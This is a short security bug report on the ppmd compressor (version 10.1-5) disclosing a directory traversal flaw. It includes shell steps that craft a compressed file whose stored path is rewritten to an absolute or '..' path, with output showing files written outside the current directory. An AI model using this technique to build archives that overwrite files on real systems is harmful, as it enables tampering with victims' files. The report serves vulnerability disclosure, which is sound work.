Package: ppmd Version: 10.1-5 Tags: securityppmd is susceptible to directory traversal vulnerabilities. While decompressing a file, it will happily use absolute and relative paths taken from the input. This can be exploited by a malicious compressed file to write files outside the current directory.1. Absolute path. A sample could be prepared in the following way: $ touch XtmpXabs $ ppmd e -ftest.pmd XtmpXabs $ sed -i 's|XtmpXabs|/tmp/abs|g' test.pmd $ rm XtmpXabs Then check it works: $ ls /tmp/abs ls: cannot access /tmp/abs: No such file or directory $ ppmd d test.pmd Fast PPMII compressor for textual data, variant J, Apr 19 2012/tmp/abs: 5 > 1, 40.00 bpb, used: 0.0MB, speed: 1 KB/sec$ ls /tmp/abs /tmp/abs 2. Relative path with "..". A sample could be prepared in the following way: $ touch XXXrel $ ppmd e -ftest.pmd XXXrel $ sed -i 's|XXXrel|../rel|g' test.pmd $ rm XXXrel Then check it works: $ ls ../rel ls: cannot access ../rel: No such file or directory $ ppmd d test.pmd Fast PPMII compressor for textual data, variant J, Apr 19 2012../rel: 5 > 1, 40.00 bpb, used: 0.0MB, speed: 1 KB/sec$ ls ../rel ../rel -- Alexander Cherepanov
